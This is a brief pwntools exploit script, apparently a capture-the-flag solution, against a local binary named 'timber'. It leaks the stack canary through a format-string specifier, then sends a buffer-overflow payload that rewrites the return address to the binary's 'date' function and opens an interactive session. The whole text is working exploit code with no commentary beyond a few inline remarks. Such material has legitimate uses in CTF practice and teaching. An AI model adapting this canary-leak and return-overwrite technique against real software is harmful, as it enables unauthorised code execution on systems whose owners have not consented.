from pwn import *

e = ELF('./timber')
r = e.process()
r.recvuntil(': ')

# canary leak. FSB
r.sendline('%20$p')
r.recvuntil(' ')
canary = int(r.recvline(), 16)
log.success(hex(canary))

r.recvuntil('? ')
r.sendline('s')         # Super Swipe
r.recvuntil('.\n')

payload = ''
payload += p32(canary) * ((0x38 - 0x8)//4 + 1)  # canary
payload += p32(e.sym.date) * 3                  # RET

r.sendline(payload)
r.interactive()
